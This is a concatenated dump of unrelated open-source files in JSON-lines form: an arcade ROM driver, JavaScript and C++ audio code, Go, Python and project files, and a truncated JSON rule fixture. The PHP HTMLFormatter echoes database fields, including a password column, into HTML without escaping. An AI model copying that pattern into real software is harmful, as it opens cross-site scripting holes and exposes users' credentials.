AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n\r\n\r\n// Aliens (Asia)\r\n\r\nstatic struct BurnRomInfo aliensaRomDesc[] = {\r\n\t{ \"875_r02.e24\",\t0x10000, 0x973e4f11, 1 | BRF_PRG | BRF_ESS }, // 0 Konami CPU Code\r\n\t{ \"875_m01.c24\",\t0x20000, 0x1663d3dc, 1 | BRF_PRG | BRF_ESS }, // 1\r\n\r\n\t{ \"875_k03.g04\",\t0x08000, 0xbd86264d, 2 | BRF_PRG | BRF_ESS }, // 2 Z80 Code\r\n\r\n\t{ \"875b11.k13\",\t\t0x80000, 0x89c5c885, 3 | BRF_GRA }, // 3 Background Tiles\r\n\t{ \"875b12.k19\",\t\t0x80000, 0xea6bdc17, 3 | BRF_GRA }, // 4\r\n\t{ \"875b07.j13\",\t\t0x40000, 0xe9c56d66, 3 | BRF_GRA }, // 5\r\n\t{ \"875b08.j19\",\t\t0x40000, 0xf9387966, 3 | BRF_GRA }, // 6\r\n\r\n\t{ \"875b10.k08\",\t\t0x80000, 0x0b1035b1, 4 | BRF_GRA }, // 7 Sprites\r\n\t{ \"875b09.k02\",\t\t0x80000, 0xe76b3c19, 4 | BRF_GRA }, // 8\r\n\t{ \"875b06.j08\",\t\t0x40000, 0x081a0566, 4 | BRF_GRA }, // 9\r\n\t{ \"875b05.j02\",\t\t0x40000, 0x19a261f2, 4 | BRF_GRA }, // 10\r\n\r\n\t{ \"875b04.e05\",\t\t0x40000, 0x4e209ac8, 5 | BRF_SND }, // 11 K007232 Samples\r\n\r\n\t{ \"821a08.h14\",\t\t0x00100, 0x7da55800, 6 | BRF_OPT }, // 12 Timing Proms\r\n};\r\n\r\nSTD_ROM_PICK(aliensa)\r\nSTD_ROM_FN(aliensa)\r\n\r\nstruct BurnDriver BurnDrvAliensa = {\r\n\t\"aliensa\", \"aliens\", NULL, NULL, \"1990\",\r\n\t\"Aliens (Asia)\\0\", NULL, \"Konami\", \"GX875\",\r\n\tNULL, NULL, NULL, NULL,\r\n\tBDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_PREFIX_KONAMI, GBF_PLATFORM | GBF_HORSHOOT, 0,\r\n\tNULL, aliensaRomInfo, aliensaRomName, NULL, NULL, NULL, NULL, AliensInputInfo, AliensDIPInfo,\r\n\tDrvInit, DrvExit, DrvFrame, DrvDraw, DrvScan, &DrvRecalc, 0x200,\r\n\t288, 224, 4, 3\r\n};\r\n"} {"text": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n\t\t<script type=\"text/javascript\">\n\t\t\tfunction do_alert() {\n\t\t\t\talert(\"js alert\");\n\t\t\t\tconsole.log(\"Alert done\");\n\t\t\t}\n\t\t</script>\n </head>\n <body>\n <input type=\"button\" onclick=\"do_alert()\" value=\"Show alert\" id=\"button\">\n </body>\n</html>\n"} {"text": "/**\n * Internal dependencies\n */\nimport httpV1Middleware from '../http-v1';\n\ndescribe( 'HTTP v1 Middleware', () => {\n\tit( 'should use a POST for a PUT requests', () => {\n\t\texpect.hasAssertions();\n\n\t\tconst callback = ( options ) => {\n\t\t\texpect( options.method ).toBe( 'POST' );\n\t\t\texpect( options.headers[ 'X-HTTP-Method-Override' ] ).toBe( 'PUT' );\n\t\t};\n\n\t\thttpV1Middleware( { method: 'PUT', data: {} }, callback );\n\t} );\n\n\tit( \"shouldn't touch the options for GET requests\", () => {\n\t\texpect.hasAssertions();\n\n\t\tconst requestOptions = { method: 'GET', path: '/wp/v2/posts' };\n\t\tconst callback = ( options ) => {\n\t\t\texpect( options ).toBe( requestOptions );\n\t\t};\n\n\t\thttpV1Middleware( requestOptions, callback );\n\t} );\n\n\tit( \"shouldn't touch the options for an undefined method\", () => {\n\t\texpect.hasAssertions();\n\n\t\tconst requestOptions = { path: '/wp/v2/posts' };\n\t\tconst callback = ( options ) => {\n\t\t\texpect( options ).toBe( requestOptions );\n\t\t};\n\n\t\thttpV1Middleware( requestOptions, callback );\n\t} );\n} );\n"} {"text": "/*\n * Copyright 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include <cassert>\n\n#include <SLES/OpenSLES.h>\n#include <SLES/OpenSLES_Android.h>\n\n#include \"oboe/AudioStreamBuilder.h\"\n#include \"AudioInputStreamOpenSLES.h\"\n#include \"AudioStreamOpenSLES.h\"\n#include \"OpenSLESUtilities.h\"\n\nusing namespace oboe;\n\nstatic SLuint32 OpenSLES_convertInputPreset(InputPreset oboePreset) {\n SLuint32 openslPreset = SL_ANDROID_RECORDING_PRESET_NONE;\n switch(oboePreset) {\n case InputPreset::Generic:\n openslPreset = SL_ANDROID_RECORDING_PRESET_GENERIC;\n break;\n case InputPreset::Camcorder:\n openslPreset = SL_ANDROID_RECORDING_PRESET_CAMCORDER;\n break;\n case InputPreset::VoiceRecognition:\n openslPreset = SL_ANDROID_RECORDING_PRESET_VOICE_RECOGNITION;\n break;\n case InputPreset::VoiceCommunication:\n openslPreset = SL_ANDROID_RECORDING_PRESET_VOICE_COMMUNICATION;\n break;\n case InputPreset::Unprocessed:\n openslPreset = SL_ANDROID_RECORDING_PRESET_UNPROCESSED;\n break;\n default:\n break;\n }\n return openslPreset;\n}\n\nAudioInputStreamOpenSLES::AudioInputStreamOpenSLES(const AudioStreamBuilder &builder)\n : AudioStreamOpenSLES(builder) {\n}\n\nAudioInputStreamOpenSLES::~AudioInputStreamOpenSLES() {\n}\n\n// Calculate masks specific to INPUT streams.\nSLuint32 AudioInputStreamOpenSLES::channelCountToChannelMask(int channelCount) const {\n // Derived from internal sles_channel_in_mask_from_count(chanCount);\n // in \"frameworks/wilhelm/src/android/channels.cpp\".\n // Yes, it seems strange to use SPEAKER constants to describe inputs.\n // But that is how OpenSL ES does it internally.\n switch (channelCount) {\n case 1:\n return SL_SPEAKER_FRONT_LEFT;\n case 2:\n return SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT;\n default:\n return channelCountToChannelMaskDefault(channelCount);\n }\n}\n\nResult AudioInputStreamOpenSLES::open() {\n logUnsupportedAttributes();\n\n SLAndroidConfigurationItf configItf = nullptr;\n\n if (getSdkVersion() < __ANDROID_API_M__ && mFormat == AudioFormat::Float){\n // TODO: Allow floating point format on API <23 using float->int16 converter\n return Result::ErrorInvalidFormat;\n }\n\n // If audio format is unspecified then choose a suitable default.\n // API 23+: FLOAT\n // API <23: INT16\n if (mFormat == AudioFormat::Unspecified){\n mFormat = (getSdkVersion() < __ANDROID_API_M__) ?\n AudioFormat::I16 : AudioFormat::Float;\n }\n\n Result oboeResult = AudioStreamOpenSLES::open();\n if (Result::OK != oboeResult) return oboeResult;\n\n SLuint32 bitsPerSample = static_cast<SLuint32>(getBytesPerSample() * kBitsPerByte);\n\n // configure audio sink\n SLDataLocator_AndroidSimpleBufferQueue loc_bufq = {\n SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE, // locatorType\n static_cast<SLuint32>(kBufferQueueLength)}; // numBuffers\n\n // Define the audio data format.\n SLDataFormat_PCM format_pcm = {\n SL_DATAFORMAT_PCM, // formatType\n static_cast<SLuint32>(mChannelCount), // numChannels\n static_cast<SLuint32>(mSampleRate * kMillisPerSecond), // milliSamplesPerSec\n bitsPerSample, // bitsPerSample\n bitsPerSample, // containerSize;\n channelCountToChannelMask(mChannelCount), // channelMask\n getDefaultByteOrder(),\n };\n\n SLDataSink audioSink = {&loc_bufq, &format_pcm};\n\n /**\n * API 23 (Marshmallow) introduced support for floating-point data representation and an\n * extended data format type: SLAndroidDataFormat_PCM_EX for recording streams (playback streams\n * got this in API 21). If running on API 23+ use this newer format type, creating it from our\n * original format.\n */\n SLAndroidDataFormat_PCM_EX format_pcm_ex;\n if (getSdkVersion() >= __ANDROID_API_M__) {\n SLuint32 representation = OpenSLES_ConvertFormatToRepresentation(getFormat());\n // Fill in the format structure.\n format_pcm_ex = OpenSLES_createExtendedFormat(format_pcm, representation);\n // Use in place of the previous format.\n audioSink.pFormat = &format_pcm_ex;\n }\n\n\n // configure audio source\n SLDataLocator_IODevice loc_dev = {SL_DATALOCATOR_IODEVICE,\n SL_IODEVICE_AUDIOINPUT,\n SL_DEFAULTDEVICEID_AUDIOINPUT,\n NULL};\n SLDataSource audioSrc = {&loc_dev, NULL};\n\n SLresult result = EngineOpenSLES::getInstance().createAudioRecorder(&mObjectInterface,\n &audioSrc,\n &audioSink);\n\n if (SL_RESULT_SUCCESS != result) {\n LOGE(\"createAudioRecorder() result:%s\", getSLErrStr(result));\n goto error;\n }\n\n // Configure the stream.\n result = (*mObjectInterface)->GetInterface(mObjectInterface,\n SL_IID_ANDROIDCONFIGURATION,\n &configItf);\n\n if (SL_RESULT_SUCCESS != result) {\n LOGW(\"%s() GetInterface(SL_IID_ANDROIDCONFIGURATION) failed with %s\",\n __func__, getSLErrStr(result));\n } else {\n SLuint32 presetValue = OpenSLES_convertInputPreset(getInputPreset());\n result = (*configItf)->SetConfiguration(configItf,\n SL_ANDROID_KEY_RECORDING_PRESET,\n &presetValue,\n sizeof(SLuint32));\n if (SL_RESULT_SUCCESS != result\n && presetValue != SL_ANDROID_RECORDING_PRESET_VOICE_RECOGNITION) {\n presetValue = SL_ANDROID_RECORDING_PRESET_VOICE_RECOGNITION;\n mInputPreset = InputPreset::VoiceRecognition;\n (*configItf)->SetConfiguration(configItf,\n SL_ANDROID_KEY_RECORDING_PRESET,\n &presetValue,\n sizeof(SLuint32));\n }\n\n result = configurePerformanceMode(configItf);\n if (SL_RESULT_SUCCESS != result) {\n goto error;\n }\n }\n\n result = (*mObjectInterface)->Realize(mObjectInterface, SL_BOOLEAN_FALSE);\n if (SL_RESULT_SUCCESS != result) {\n LOGE(\"Realize recorder object result:%s\", getSLErrStr(result));\n goto error;\n }\n\n result = (*mObjectInterface)->GetInterface(mObjectInterface, SL_IID_RECORD, &mRecordInterface);\n if (SL_RESULT_SUCCESS != result) {\n LOGE(\"GetInterface RECORD result:%s\", getSLErrStr(result));\n goto error;\n }\n\n result = AudioStreamOpenSLES::registerBufferQueueCallback();\n if (SL_RESULT_SUCCESS != result) {\n goto error;\n }\n\n result = updateStreamParameters(configItf);\n if (SL_RESULT_SUCCESS != result) {\n goto error;\n }\n\n oboeResult = configureBufferSizes(mSampleRate);\n if (Result::OK != oboeResult) {\n goto error;\n }\n\n allocateFifo();\n\n setState(StreamState::Open);\n return Result::OK;\n\nerror:\n return Result::ErrorInternal; // TODO convert error from SLES to OBOE\n}\n\nResult AudioInputStreamOpenSLES::close() {\n LOGD(\"AudioInputStreamOpenSLES::%s()\", __func__);\n mLock.lock();\n Result result = Result::OK;\n if (getState() == StreamState::Closed){\n result = Result::ErrorClosed;\n } else {\n mLock.unlock(); // avoid recursive lock\n requestStop();\n mLock.lock();\n // invalidate any interfaces\n mRecordInterface = nullptr;\n result = AudioStreamOpenSLES::close();\n }\n mLock.unlock(); // avoid recursive lock\n return result;\n}\n\nResult AudioInputStreamOpenSLES::setRecordState_l(SLuint32 newState) {\n LOGD(\"AudioInputStreamOpenSLES::%s(%u)\", __func__, newState);\n Result result = Result::OK;\n\n if (mRecordInterface == nullptr) {\n LOGE(\"AudioInputStreamOpenSLES::%s() mRecordInterface is null\", __func__);\n return Result::ErrorInvalidState;\n }\n SLresult slResult = (*mRecordInterface)->SetRecordState(mRecordInterface, newState);\n //LOGD(\"AudioInputStreamOpenSLES::%s(%u) returned %u\", __func__, newState, slResult);\n if (SL_RESULT_SUCCESS != slResult) {\n LOGE(\"AudioInputStreamOpenSLES::%s(%u) returned error %s\",\n __func__, newState, getSLErrStr(slResult));\n result = Result::ErrorInternal; // TODO review\n }\n return result;\n}\n\nResult AudioInputStreamOpenSLES::requestStart() {\n LOGD(\"AudioInputStreamOpenSLES(): %s() called\", __func__);\n std::lock_guard<std::mutex> lock(mLock);\n StreamState initialState = getState();\n switch (initialState) {\n case StreamState::Starting:\n case StreamState::Started:\n return Result::OK;\n case StreamState::Closed:\n return Result::ErrorClosed;\n default:\n break;\n }\n\n // We use a callback if the user requests one\n // OR if we have an internal callback to fill the blocking IO buffer.\n setDataCallbackEnabled(true);\n\n setState(StreamState::Starting);\n Result result = setRecordState_l(SL_RECORDSTATE_RECORDING);\n if (result == Result::OK) {\n setState(StreamState::Started);\n // Enqueue the first buffer to start the streaming.\n // This does not call the callback function.\n enqueueCallbackBuffer(mSimpleBufferQueueInterface);\n } else {\n setState(initialState);\n }\n return result;\n}\n\n\nResult AudioInputStreamOpenSLES::requestPause() {\n LOGW(\"AudioInputStreamOpenSLES::%s() is intentionally not implemented for input \"\n \"streams\", __func__);\n return Result::ErrorUnimplemented; // Matches AAudio behavior.\n}\n\nResult AudioInputStreamOpenSLES::requestFlush() {\n LOGW(\"AudioInputStreamOpenSLES::%s() is intentionally not implemented for input \"\n \"streams\", __func__);\n return Result::ErrorUnimplemented; // Matches AAudio behavior.\n}\n\nResult AudioInputStreamOpenSLES::requestStop() {\n LOGD(\"AudioInputStreamOpenSLES(): %s() called\", __func__);\n\n std::lock_guard<std::mutex> lock(mLock);\n StreamState initialState = getState();\n switch (initialState) {\n case StreamState::Stopping:\n case StreamState::Stopped:\n return Result::OK;\n case StreamState::Closed:\n return Result::ErrorClosed;\n default:\n break;\n }\n\n setState(StreamState::Stopping);\n\n Result result = setRecordState_l(SL_RECORDSTATE_STOPPED);\n if (result == Result::OK) {\n mPositionMillis.reset32(); // OpenSL ES resets its millisecond position when stopped.\n setState(StreamState::Stopped);\n } else {\n setState(initialState);\n }\n return result;\n}\n\nvoid AudioInputStreamOpenSLES::updateFramesWritten() {\n if (usingFIFO()) {\n AudioStreamBuffered::updateFramesWritten();\n } else {\n mFramesWritten = getFramesProcessedByServer();\n }\n}\n\nResult AudioInputStreamOpenSLES::updateServiceFrameCounter() {\n Result result = Result::OK;\n // Avoid deadlock if another thread is trying to stop or close this stream\n // and this is being called from a callback.\n if (mLock.try_lock()) {\n\n if (mRecordInterface == nullptr) {\n mLock.unlock();\n return Result::ErrorNull;\n }\n SLmillisecond msec = 0;\n SLresult slResult = (*mRecordInterface)->GetPosition(mRecordInterface, &msec);\n if (SL_RESULT_SUCCESS != slResult) {\n LOGW(\"%s(): GetPosition() returned %s\", __func__, getSLErrStr(slResult));\n // set result based on SLresult\n result = Result::ErrorInternal;\n } else {\n mPositionMillis.update32(msec);\n }\n mLock.unlock();\n }\n return result;\n}\n"} {"text": "const fs = require('fs');\nconst path = require('path');\n\nconst outputPath = path.join(__dirname, '../next.config.js');\n\nconst fileTemplate = routes => `\nmodule.exports = {\n distDir: 'build',\n exportTrailingSlash: true,\n exportPathMap: function () {\n return ${routes};\n },\n webpack: (config, props) => {\n config.module.rules.push({\n test: /\\.md$/,\n loader: 'emit-file-loader',\n options: {\n name: 'dist/[path][name].[ext]',\n },\n },\n {\n test: /\\.md$/,\n loader: 'raw-loader',\n })\n\n return config\n }\n};\n`;\n\nconst generateRouteDefinitions = data => {\n // TODO: Automatically generate api/blog etc\n let routes = `\n '/': { page: '/' },\n '/support': { page: '/support' },\n '/api': { page: '/api' },\n '/blog': { page: '/blog' },\n '/pose': { page: '/pose' },\n '/pure': { page: '/pure' },\n '/popcorn': { page: '/popcorn' },\n '/pose/api': { page: '/pose/api' },\n '/pose/examples': { page: '/pose/examples' },\n '/page-not-found': { page: '/_error' },\n '/stylefire': { page: '/stylefire' },\n '/stylefire/api': { page: '/stylefire/api' },\n `;\n\n Object.keys(data).forEach(siteId => {\n const siteData = data[siteId];\n\n Object.keys(siteData).forEach(sectionId => {\n const sectionData = siteData[sectionId];\n const pageIds = Object.keys(sectionData);\n\n pageIds.forEach(pageId => {\n const route = `/${\n siteId === 'pure' ? '' : siteId + '/'\n }${sectionId}/${pageId}`;\n routes += `\n '${route}': {\n page: '${route}'\n },\n `;\n });\n });\n });\n\n return `{${routes}}`;\n};\n\nmodule.exports = function(data) {\n const routes = generateRouteDefinitions(data);\n fs.writeFileSync(outputPath, fileTemplate(routes));\n};\n"} {"text": "package apiclient\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc\"\n\n\tworkflowtemplatepkg \"github.com/argoproj/argo/pkg/apiclient/workflowtemplate\"\n\t\"github.com/argoproj/argo/pkg/apis/workflow/v1alpha1\"\n\tgrpcutil \"github.com/argoproj/argo/util/grpc\"\n)\n\ntype errorTranslatingWorkflowTemplateServiceClient struct {\n\tdelegate workflowtemplatepkg.WorkflowTemplateServiceClient\n}\n\nvar _ workflowtemplatepkg.WorkflowTemplateServiceClient = &errorTranslatingWorkflowTemplateServiceClient{}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) CreateWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateCreateRequest, _ ...grpc.CallOption) (*v1alpha1.WorkflowTemplate, error) {\n\ttemplate, err := a.delegate.CreateWorkflowTemplate(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn template, nil\n}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) GetWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateGetRequest, _ ...grpc.CallOption) (*v1alpha1.WorkflowTemplate, error) {\n\ttemplate, err := a.delegate.GetWorkflowTemplate(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn template, nil\n}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) ListWorkflowTemplates(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateListRequest, _ ...grpc.CallOption) (*v1alpha1.WorkflowTemplateList, error) {\n\ttemplates, err := a.delegate.ListWorkflowTemplates(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn templates, nil\n}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) UpdateWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateUpdateRequest, _ ...grpc.CallOption) (*v1alpha1.WorkflowTemplate, error) {\n\ttemplate, err := a.delegate.UpdateWorkflowTemplate(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn template, nil\n}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) DeleteWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateDeleteRequest, _ ...grpc.CallOption) (*workflowtemplatepkg.WorkflowTemplateDeleteResponse, error) {\n\ttemplate, err := a.delegate.DeleteWorkflowTemplate(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn template, nil\n}\n\nfunc (a *errorTranslatingWorkflowTemplateServiceClient) LintWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateLintRequest, _ ...grpc.CallOption) (*v1alpha1.WorkflowTemplate, error) {\n\ttemplate, err := a.delegate.LintWorkflowTemplate(ctx, req)\n\tif err != nil {\n\t\treturn nil, grpcutil.TranslateError(err)\n\t}\n\treturn template, nil\n}\n"} {"text": "<?php\n/*\nCopyright (c) 2010, akosma software / Adrian Kosmaczewski\nAll rights reserved.\n \nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n1. Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n3. All advertising materials mentioning features or use of this software\n must display the following acknowledgement:\n This product includes software developed by akosma software.\n4. Neither the name of the akosma software nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n \nTHIS SOFTWARE IS PROVIDED BY ADRIAN KOSMACZEWSKI ''AS IS'' AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL ADRIAN KOSMACZEWSKI BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\nrequire_once('formatter.php');\n\nclass HTMLFormatter extends Formatter\n{\n public function getContentType()\n {\n return \"text/html\";\n }\n\n public function formatData()\n {\n ?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\n\t<title>data</title>\n</head>\n\n<body>\n\n<table border=\"1\" cellpadding=\"3\" cellspacing=\"0\">\n <tr>\n <th>id</th>\n <th>first name</th>\n <th>last name</th>\n <th>phone</th>\n <th>email</th>\n <th>address</th>\n <th>city</th>\n <th>zip</th>\n <th>state</th>\n <th>country</th>\n <th>description</th>\n <th>password</th>\n <th>created on</th>\n <th>modified on</th>\n </tr>\n<?php\nwhile ($entry = $this->getData()->next())\n{\n $this->formatEntryAsHTML($entry);\n}\n?> \n</table>\n\n</body>\n</html>\n <?php\n }\n\n private function formatEntryAsHTML($entry)\n {\n echo(\"<tr>\");\n echo(\"<td>\" . $entry['id'] . \"</td>\");\n echo(\"<td>\" . $entry['first_name'] . \"</td>\");\n echo(\"<td>\" . $entry['last_name'] . \"</td>\");\n echo(\"<td>\" . $entry['phone'] . \"</td>\");\n echo(\"<td>\" . $entry['email'] . \"</td>\");\n echo(\"<td>\" . $entry['address'] . \"</td>\");\n echo(\"<td>\" . $entry['city'] . \"</td>\");\n echo(\"<td>\" . $entry['zip'] . \"</td>\");\n echo(\"<td>\" . $entry['state'] . \"</td>\");\n echo(\"<td>\" . $entry['country'] . \"</td>\");\n echo(\"<td>\" . $entry['description'] . \"</td>\");\n echo(\"<td>\" . $entry['password'] . \"</td>\");\n echo(\"<td>\" . $entry['created_on'] . \"</td>\");\n echo(\"<td>\" . $entry['modified_on'] . \"</td>\");\n echo(\"</tr>\");\n }\n}\n?>\n"} {"text": "<Project Sdk=\"Microsoft.NET.Sdk\">\n\n <PropertyGroup>\n <TargetFramework>net472</TargetFramework>\n <Authors>Revo Framework</Authors>\n </PropertyGroup>\n \n <ItemGroup>\n <PackageReference Include=\"Microsoft.NET.Test.Sdk\" Version=\"15.9.0\" />\n <PackageReference Include=\"xunit.runner.visualstudio\" Version=\"2.4.1\" />\n </ItemGroup>\n \n <ItemGroup>\n <ProjectReference Include=\"..\\..\\..\\Revo.Testing\\Revo.Testing.csproj\" />\n </ItemGroup>\n \n</Project>"} {"text": "#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n\n\"\"\"Argument parser functions.\"\"\"\n\nimport argparse\nimport sys\n\nimport slowfast.utils.checkpoint as cu\nfrom slowfast.config.defaults import get_cfg\n\n\ndef parse_args():\n \"\"\"\n Parse the following arguments for a default parser for PySlowFast users.\n Args:\n shard_id (int): shard id for the current machine. Starts from 0 to\n num_shards - 1. If single machine is used, then set shard id to 0.\n num_shards (int): number of shards using by the job.\n init_method (str): initialization method to launch the job with multiple\n devices. Options includes TCP or shared file-system for\n initialization. details can be find in\n https://pytorch.org/docs/stable/distributed.html#tcp-initialization\n cfg (str): path to the config file.\n opts (argument): provide addtional options from the command line, it\n overwrites the config loaded from file.\n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Provide SlowFast video training and testing pipeline.\"\n )\n parser.add_argument(\n \"--shard_id\",\n help=\"The shard id of current node, Starts from 0 to num_shards - 1\",\n default=0,\n type=int,\n )\n parser.add_argument(\n \"--num_shards\",\n help=\"Number of shards using by the job\",\n default=1,\n type=int,\n )\n parser.add_argument(\n \"--init_method\",\n help=\"Initialization method, includes TCP or shared file-system\",\n default=\"tcp://localhost:9999\",\n type=str,\n )\n parser.add_argument(\n \"--cfg\",\n dest=\"cfg_file\",\n help=\"Path to the config file\",\n default=\"configs/Kinetics/SLOWFAST_4x16_R50.yaml\",\n type=str,\n )\n parser.add_argument(\n \"opts\",\n help=\"See slowfast/config/defaults.py for all options\",\n default=None,\n nargs=argparse.REMAINDER,\n )\n if len(sys.argv) == 1:\n parser.print_help()\n return parser.parse_args()\n\n\ndef load_config(args):\n \"\"\"\n Given the arguemnts, load and initialize the configs.\n Args:\n args (argument): arguments includes `shard_id`, `num_shards`,\n `init_method`, `cfg_file`, and `opts`.\n \"\"\"\n # Setup cfg.\n cfg = get_cfg()\n # Load config from cfg.\n if args.cfg_file is not None:\n cfg.merge_from_file(args.cfg_file)\n # Load config from command line, overwrite config from opts.\n if args.opts is not None:\n cfg.merge_from_list(args.opts)\n\n # Inherit parameters from args.\n if hasattr(args, \"num_shards\") and hasattr(args, \"shard_id\"):\n cfg.NUM_SHARDS = args.num_shards\n cfg.SHARD_ID = args.shard_id\n if hasattr(args, \"rng_seed\"):\n cfg.RNG_SEED = args.rng_seed\n if hasattr(args, \"output_dir\"):\n cfg.OUTPUT_DIR = args.output_dir\n\n # Create the checkpoint dir.\n cu.make_checkpoint_dir(cfg.OUTPUT_DIR)\n return cfg\n"} {"text": "[\n {\n \"id\": \"1\",\n \"name\": \"Initial\",\n \"rules\": [\n {\n \"FIND$\": {\n \"name\": \"Bill\"\n }\n }\n ]\n },\n {\n \"id\": \"2\",\n \"name\": \"First\",\n \"rules\": [\n {\n \"FIND\": {\n \"r'^auth[a-zA-Z]+$'\": [\n \"administrator\"\n ]\n }\n }\n ]\n },\n {\n \"id\": \"3\",\n \"name\": \"Second\",\n \"rules\": [{\n \"OR\": [\n {\n \"FIND$\": {\n \"office\": \"r'^[0-9]+$'\"\n }\n },\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"authLevel\": [\"administrator\"],\n \"department\": [\"Technical\"]\n }\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"4\",\n \"name\": \"Third\",\n \"rules\": [{\n \"AND\": [\n {\n \"MATCH\": {\n \"office\": \"20\"\n }\n },\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"bindings\": {\n \"authLevel\": [\"administrator\"]\n }\n },\n \"FIND$\": {\n \"department\": [\"Technical\"]\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"bindings\": {\n \"authLevel\": [\"basic\"]\n }\n }\n },\n {\n \"OR\": [\n {\n \"FIND\": {\n \"authLevel\": [\"administrator\"]\n }\n }\n ]\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"5\",\n \"name\": \"Fourth\",\n \"rules\": [{\n \"AND\": [\n {\n \"MATCH\": {\n \"office\": \"r'^[0-9]+$'\"\n }\n },\n {\n \"FIND\": {\n \"r'^auth[a-zA-Z]+$'\": [\"r'^admin[a-z0-9]+$'\"],\n \"area\": [\n \"agents\"\n ]\n }\n },\n {\n \"OR\": [\n {\n \"MATCH$\": {\n \"name\": \"Bill\",\n \"office\": \"20\"\n }\n },\n {\n \"OR\": {\n \"FIND\": {\n \"department\": [\"Commercial\"]\n },\n \"OR\": [\n {\n \"MATCH\": {\n \"authLevel\": [\"administrator\"],\n \"department\": [\"Technical\"]\n }\n }\n ]\n }\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"6\",\n \"name\": \"Fifth\",\n \"rules\": [{\n \"OR\": [\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"office\": \"r'^[0-9]*'$\"\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"NOT\": {\n \"MATCH$\": {\n \"authLevel\": [\"administrator1\"]\n }\n }\n },\n {\n \"NOT\": {\n \"FIND\": {\n \"department\": [\"Technical1\"],\n \"authLevel\": [\"basic1\"]\n }\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"authLevel\": [\"basic1\"],\n \"office\": \"211\"\n },\n {\n \"department\": [\"Commercial1\"],\n \"OR\": [\n {\n \"authLevel\": [\"administrator1\"],\n \"department\": [\"Technical1\"]\n }\n ]\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"7\",\n \"name\": \"Sixth\",\n \"rules\": [{\n \"AND\": [\n {\n \"AND\": [\n {\n \"MATCH$\": {\n \"office\": \"r'^[0-9]*'$\",\n \"disabled\": false,\n \"department\": [\"Technical\"]\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"MATCH$\": {\n \"bindings\": {\n \"r'^auth[a-zA-Z]+$'\": [\"r'^[a-z]+$'\"],\n \"r'^area$'\": [\"r'^[a-z]*$'\"]\n }\n }\n },\n {\n \"FIND\": {\n \"department\": [\"Technical\"],\n \"office\": \"20\"\n }\n }\n 